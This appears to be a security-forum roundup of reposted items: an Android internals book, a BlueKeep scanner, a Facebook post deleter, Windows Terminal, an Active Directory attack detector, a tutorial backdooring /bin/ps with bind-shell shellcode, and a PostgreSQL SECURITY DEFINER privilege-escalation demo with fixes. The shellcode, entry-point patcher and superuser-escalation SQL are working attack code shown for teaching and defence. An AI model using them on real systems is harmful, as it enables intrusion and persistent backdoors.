Leaderboard

Sursa: https://b-ok.cc/book/3561926/540d2a http://newandroidbook.com/ As some of you know, The WikiLeaks dump of "Vault7" contained, among other things, a 2015 copy of my "Android Internals" book, since Technologeeks provided training for them. Though by now a bit outdated, it's still a high quality, color PDF updated for Marshmallow PR1, and is about 85% the same as the existing book I provide, which is updated to Nougat 7.1 - Android changes rapidly, but the core isn't radically different. Description Android Internals::A Confectioner's Cookbook is the first time the inner workings of the world's most popular operating system have been documented! Without going into the lengthy code, it presents the logic and flow of Android's various components using detailed illustrations, verbose annotations and hands-on experiments! Volume I takes the power user's point of view - the utilities and functionality accessible through adb shell. In particular, we explore: Partitions and Filesystems The Boot Process Init and its configuration files The native daemons in /system/bin The framework service architecture and servicemanager, Monitoring through Linux interfaces, and of course Security. All versions of Android - up to and including the upcoming Nougat - are covered, with examples taken from the wide gamut of Android Devices - Nexi, Samsung Galaxy S series, NVidia Shield, Amazon Kindle, HTC One M9, and the Android Emulator. This is the first in a multi-volume series, aiming to explore Android down to its last class. Stay tuned for Volume II - The Programmer's View - which picks up where the Power User's View ends, and dives deeper still into the frameworks, input, audio, video and network architecture... wading through the inevitable quagmire of code.

CVE-2019-0708 CVE-2019-0708 "BlueKeep" Scanner PoC by @JaGoTu and @zerosum0x0. In this repo A scanner fork of rdesktop that can detect if a host is vulnerable to CVE-2019-0708 Microsoft Windows Remote Desktop Services Remote Code Execution vulnerability. It shouldn't cause denial-of-service, but there is never a 100% guarantee across all vulnerable versions of the RDP stack over the years. The code has only been tested on Linux and may not work in other environments (BSD/OS X), and requires the standard X11 GUI to be running (though the RDP window is hidden for convenience). There is also a Metasploit module, which is a current work in progress (MSF does not have an RDP library). Building There is a pre-made rdesktop binary in the repo, but the steps to building from source are as follows: git clone https://github.com/zerosum0x0/CVE-2019-0708.git cd CVE-2019-0708/rdesktop-fork-bd6aa6acddf0ba640a49834807872f4cc0d0a773/ ./bootstrap ./configure --disable-credssp --disable-smartcard make ./rdesktop 192.168.1.7:3389 Please refer to the normal rdesktop compilation instructions. Is this dangerous? Small details of the vulnerability have already begun to reach mainstream. This tool does not grant attackers a free ride to a theoretical RCE. Modifying this PoC to trigger the denial-of-service does lower the bar of entry but will also require some amount of effort. We currently offer no explanation of how this scanner works other than to tell the user it seems to be accurate in testing and follows a logical path. System administrators need tools like this to discover vulnerable hosts. This tool is offered for legal purposes only and to forward the security community's understanding of this vulnerability. As it does exploit the vulnerability, do not use against targets without prior permission. License rdesktop fork is licensed as GPLv3. Metasploit module is licensed as Apache 2.0. Sursa: https://github.com/zerosum0x0/CVE-2019-0708

Why? I needed a simple and reliable way to delete Facebook posts. There are third-party apps that claim to do this, but they all require handing over your credentials, or are unreliable in other ways. Since this uses Selenium, it is more reliable, as it uses your real web browser, and it is less likely Facebook will block or throttle you. As for why you would want to do this in the first place. That is up to you. Personally I wanted a way to delete most of my content on Facebook without deleting my account. Will this really delete posts? I can make no guarantees that Facebook doesn't store the data somewhere forever in cold storage. However this tool is intended more as a way to clean up your online presence and not have to worry about what you wrote from years ago. Personally, I did this so I would feel less attached to my Facebook profile (and hence feel the need to use it less). How To Use Make sure that you have Google Chrome installed and that it is up to date, as well as the chromedriver for Selenium. See here. On Arch Linux you can find this in the chromium package, but it will vary by OS. pip3 install --user delete-facebook-posts deletefb -E "youremail@example.org" -P "yourfacebookpassword" -U "https://www.facebook.com/your.profile.url" The script will log into your Facebook account, go to your profile page, and start deleting posts. If it cannot delete something, then it will "hide" it from your timeline instead. Be patient as it will take a very long time, but it will eventually clear everything. You may safely minimize the chrome window without breaking it. How To Install Python MacOS See this link for instructions on installing with Brew. Linux Use your native package manager Windows See this link, but I make no guarantees that Selenium will actually work as I have not tested it. Bugs If it stops working or otherwise crashes, delete the latest post manually and start it again after waiting a minute. I make no guarantees that it will work perfectly for every profile. Please file an issue if you run into any problems. Sursa: https://github.com/weskerfoot/DeleteFB

Windows Terminal Windows Terminal is a new, modern, feature-rich, productive terminal application for command-line users. It includes many of the features most frequently requested by the Windows command-line community including support for tabs, rich text, globalization, configurability, theming & styling, and more. The Terminal will also need to meet our goals and measures to ensure it remains fast, and efficient, and doesn't consume vast amounts of memory or power. This repository contains the source code for: Windows Terminal The Windows console host (conhost.exe) Components shared between the two projects ColorTool Sample projects that show how to consume the Windows Console APIs Other related repositories include: Console API Documentation Download Source

Real-time detection of high-risk attacks leveraging Kerberos and SMB This is a real-time detection tool for detecting attack against Active Directory. The tools is the improved version of the previous version. Our tool can useful for immediate incident response for targeted attacks. The tool detects the following attack activities using Event logs and Kerberos/SMB packets. Attacks leveraging the vulnerabilities fixed in MS14-068 and MS17-010 Attacks using Golden Ticket Attacks using Silver Ticket The tool is tested in Windows 2008 R2, 2012 R2, 2016. Documentation of the tool is here Tool detail Function of the tool Our tool consists of the following components: Detection Server: Detects attack activities leveraging Domain Administrator privileges using signature based detection and Machine Learning. Detection programs are implemented by Web API. Log Server for Event Logs: Log Server is implemented using Elactic Stack. It collects the Domain Controller’s Event logs in real-time and provide log search and visualization. Log Server for packets: Collect Kerberos packets using tshark. Cpllected packets are sent to Elastic search using Logsrash. Our method consists of the following functions. Event Log analysis Packet analysis Identification of tactics in ATT&CK Event Log analysis If someone access to the Domain Controller including attacks, activities are recorded in the Event log. Each Event Log is sent to Logstash in real-time by Winlogbeat. Logstash extracts input data from the Event log, then call the detection API on Detection Server. Detection API is launched. Firstly, analyze the log with signature detection. Next analyze the log with machine learning. If attack is detected, judge the log is recorded by attack activities. Send alert E-mail to the security administrator, and add a flag indicates attack to the log . Transfer the log to Elasticsearch . Input of the tools: Event logs of the Domain Controller. 4672: An account assigned with special privileges logged on. 4674: An operation was attempted on a privileged object 4688: A new process was created 4768: A Kerberos authentication ticket (TGT) was requested 4769: A Kerberos service ticket was requested 5140: A network share object was accessed Packet analysis If someone access to the Domain Controller including attacks, Kerberos packets are sent to Domain Controller. Tshark collects Kerberos packets. Logstash extracts input data from the packets, then call the detection API on Detection Server. Detection API is launched. Analyze wheter Golden Tickets and Silver Tickets are used from packets. If attack is detected, judge the log is recorded by attack activities. Send alert E-mail to the security administrator, and add a flag indicates attack to the packet . Transfer the packet to Elasticsearch . Input of the tools: Kerberos packets The following is the Kerberos message type used for detection. 11: KRB_AS_REP 12: KRB_TGS_REQ 13: KRB_TGS_REP 14: KRB_AP_REQ 32: KRB_AP_ERR_TKT_EXPIRED Output (result) of the tool Distinguish logs recorded by attack activities from logs recorded by normal operations, and identity infected computers and accounts. The detection result can be checked using Kibana. If attacks are detected, send email alerts to the specific E-mail address. System Requirements We tested our tool in the following environment. Domain Controller (Windows 2008R2/ 2012 R2/ 2016) Winlogbeat(5.4.2): Open-source log analysis platform Log Server for Event Logs: Open-source tools + Logstash pipeline OS: CentOS 7 Logstash(6.5.0): Parse logs, launch the detection program, transfer logs to Elastic Search Elastic Search(6.5.0): Collects logs and provides API interface for log detection Kibana(6.5.0): Visualizes the detection results Log Server for packet analysis: Open-source tools + Logstash pipeline OS: CentOS 7 Logstash(6.5.0): Parse logs, launch the detection program, transfer logs to Elastic Search tshark: Collect and save packets Detection Server: Custom detection programs OS: CentOS 7 Python: 3.6.0 Flask: 0.12 scikit-learn: 0.19.1 How to implement See implementation method Sursa: https://github.com/sisoc-tokyo/Real-timeDetectionAD_ver2

Injecting shellcode into x64 ELF binaries by matteo_malvica May 18, 2019 Index Intro Inspecting the target Shellcoding our way out ELF-Inject Extra stealthiness Intro Recently, I have decided to tackle another challenge from the Practical Binary Analysis book, which is the latest one from Chapter 7. It asks the reader to create a parasite binary from a legitimate one. I have picked ps, the process snapshot utility, where I have implanted a bind-shell as a child process. Inspecting the target Let’s start our ride by creating a copy of the original executable (can be anyone) into our working folder. $ cp /bin/ps ps_teo And take note of the original entry point. $ readelf -h ps_teo ELF Header: ... Entry point address: 0x402f10 ... We will be replacing the original entry point with the address of our malicious section and restore normal execution after the shellcode has done its job. But, before jumping to that we should plan our shellcode. Shellcoding our way out We said we want a bind shell, right? Here a modified version of a standard x64 bindshell, where we make use of the fork systemcall to spawn a child process. BITS 64 SECTION .text global main section .text main: push rax ; save all clobbered registers push rcx push rdx push rsi push rdi push r11 ;fork xor rax,rax add rax,57 syscall cmp eax, 0 jz child parent: pop r11 ; restore all registers pop rdi pop rsi pop rdx pop rcx pop rax push 0x402f10 ; jump to original entry point ret child: ; socket xor eax,eax xor ebx,ebx xor edx,edx ;socket mov al,0x1 mov esi,eax inc al mov edi,eax mov dl,0x6 mov al,0x29 ; sys_socket (syscall 41) syscall xchg ebx,eax ; bind xor rax,rax push rax push 0x39300102. ; port 12345 mov [rsp+1],al mov rsi,rsp mov dl,16 mov edi,ebx mov al,0x31 ; sys_bind (syscall 49) syscall ;listen mov al,0x5 mov esi,eax mov edi,ebx mov al,0x32 ; sys_listen (syscall 50) syscall ;accept xor edx,edx xor esi,esi mov edi,ebx mov al,0x2b ; sys_accept (43) syscall mov edi,eax ; store socket ;dup2 xor rax,rax mov esi,eax mov al,0x21 ; sys_dup2 (syscall 33) syscall inc al mov esi,eax mov al,0x21 syscall inc al mov esi,eax mov al,0x21 syscall ;exec xor rdx,rdx mov rbx,0x68732f6e69622fff shr rbx,0x8 push rbx mov rdi,rsp xor rax,rax push rax push rdi mov rsi,rsp mov al,0x3b ; sys_execve (59) syscall call exit exit: mov ebx,0 ; Exit code mov eax,60 ; SYS_EXIT int 0x80 We start by saving all registers, then we call the child routine and we finish by restoring execution to the original entry point. Let’s now create a raw binary from this NASM file, which can be used by our injection process later on. nasm -f bin -o bind_shell.bin bind_shell.s ELF-Inject Our very next step is to inject a bind-shell into the ps ELF via a tool named aptly ELF Inject, which is available from the book source code. ./elfinject ps_teo bind_shell.bin ".injected" 0x800000 -1 If we inspect the binary once more, we can notice the new .injected section around location 0x800000 $ readelf --wide --headers ps_teo | grep injected [27] .injected PROGBITS 0000000000800c80 017c80 0000b0 00 AX 0 0 16 Guess what? The value 800c80 is going to be our new entry point. I wrote a quick and dirt script that patch the entry-point on the fly. import sys import binascii # usage: ep_patcher.py -filename -new_entrypoint patch_file_input = sys.argv[1] new_ep = sys.argv[2] new_ep = binascii.unhexlify(new_ep) with open(patch_file_input, 'rb+') as f: f.seek(24) f.write(new_ep) We can test it and. . . python patcher.py ps_teo 800c80 . . .we can verify that the new entry point has been modified correctly: $ readelf -h ps_teo ELF Header: ... Entry point address: 0x800c80 ... After we ran the injected version of ps, we can notice a new listening socket on port 12345: $ netstat -antulp | grep 12345 tcp 0 0 0.0.0.0:12345 0.0.0.0:* LISTEN 6898/ps_teo Which leads to the expected backdoor: $ nc localhost 12345 id uid=1000(binary) gid=1000(binary) groups=1000(binary),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) whoami binary Extra stealthiness If we would like to hide from ps or top we could go even further and revise the whole shellcode to force it alter the /proc/ folder like this or that one. Sursa: https://www.matteomalvica.com/blog/2019/05/18/elf-injection/

Abusing SECURITY DEFINER functions Blog » Abusing SECURITY DEFINER functions Posted on 17. May 2019 by Laurenz Albe © xkcd.com under the Creative Commons License 2.5 Functions defined as SECURITY DEFINER are a powerful, but dangerous tool in PostgreSQL. The documentation warns of the dangers: This article describes such an attack, in the hope to alert people that this is no idle warning. What is SECURITY DEFINER good for? By default, PostgreSQL functions are defined as SECURITY INVOKER. That means that they are executed with the User ID and security context of the user that calls them. SQL statements executed by such a function run with the same permissions as if the user had executed them directly. A SECURITY DEFINER function will run with the User ID and security context of the function owner. This can be used to allow a low privileged user to execute an operation that requires high privileges in a controlled fashion: you define a SECURITY DEFINER function owned by a privileged user that executes the operation. The function restricts the operation in the desired way. For example, you can allow a user to use COPY TO, but only to a certain directory. The function has to be owned by a superuser (or, from v11 on, by a user with the pg_write_server_files role). What is the danger? Of course such functions have to be written very carefully to avoid software errors that could be abused. But even if the code is well-written, there is a danger: unqualified access to database objects from the function (that is, accessing objects without explicitly specifying the schema) can affect other objects than the author of the function intended. This is because the configuration parameter search_path can be modified in a database session. This parameter governs which schemas are searched to locate the database object. The documentation has an example where search_path is used to have a password checking function inadvertedly check a temporary table for passwords. You may think you can avoid the danger by using the schema name in each table access, but that is not good enough. A harmless (?) SECURITY DEFINER function Consider this seemingly harmless example of a SECURITY DEFINER function, that does not control search_path properly: CREATE FUNCTION public.harmless(integer) RETURNS integer LANGUAGE sql SECURITY DEFINER AS 'SELECT $1 + 1'; Let’s assume that this function is owned by a superuser. Now this looks pretty safe at first glance: no table or view is used, so nothing can happen, right? Wrong! How the “harmless” function can be abused The attack depends on two things: There is a schema (public) where the attacker can create objects. PostgreSQL is very extensible, so you can not only create new tables and functions, but also new types and operators (among other things). The malicious database user “meany” can simply run the following code: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 /* * SQL functions can run several statements, the result of the * last one is the function result. * The "OPERATOR" syntax is necessary to schema-qualify an operator * (you can't just write "$1 pg_catalog.+ $2"). */ CREATE FUNCTION public.sum(integer, integer) RETURNS integer LANGUAGE sql AS 'ALTER ROLE meany SUPERUSER; SELECT $1 OPERATOR(pg_catalog.+) $2'; CREATE OPERATOR public.+ ( FUNCTION = public.sum, LEFTARG = integer, RIGHTARG = integer ); /* * By default, "pg_catalog" is added to "search_path" in front of * the schemas that are specified. * We have to put it somewhere else explicitly to change that. */ SET search_path = public,pg_catalog; SELECT public.harmless(41); harmless ---------- 42 (1 row) \du meany List of roles Role name | Attributes | Member of -----------+------------+----------- meany | Superuser | {} What happened? The function executed with superuser permissions. search_path was set to find the (unqualified!) “+” operator in schema public rather than in pg_catalog. So the user-defined function public.sum was executed with superuser privileges and turned the attacker into a superuser. If the attacker had called the function public.sum himself (or issued the ALTER ROLE statement), it would have caused a “permission denied” error. But since the SELECT statement inside the function ran with superuser permissions, so did the operator function. How can you protect yourself? In theory you can schema-qualify everything, including operators, inside the function body, but the risk that you forget a harmless “+” or “=” is just too big. Besides, that would make your code hard to read, which is not good for software quality. Therefore, you should take the following measures: As recommended by the documentation, always set search_path on a SECURITY DEFINER function. Apart from the schemas that you need in the function, put pg_temp on the list as the last element. Don’t have any schemas in the database where untrusted users have the CREATE privilege. In particular, remove the default public CREATE privilege from the public schema. Revoke the public EXECUTE privilege on all SECURITY DEFINER functions and grant it only to those users that need it. In SQL: 1 2 3 4 5 6 ALTER FUNCTION harmless(integer) SET search_path = pg_catalog,pg_temp; REVOKE CREATE ON SCHEMA public FROM PUBLIC; REVOKE EXECUTE ON FUNCTION harmless(integer) FROM PUBLIC; Laurenz Albe Laurenz Albe is a senior consultant and support engineer at Cybertec. He has been working with and contributing to PostgreSQL for 13 years. Sursa: https://www.cybertec-postgresql.com/en/abusing-security-definer-functions/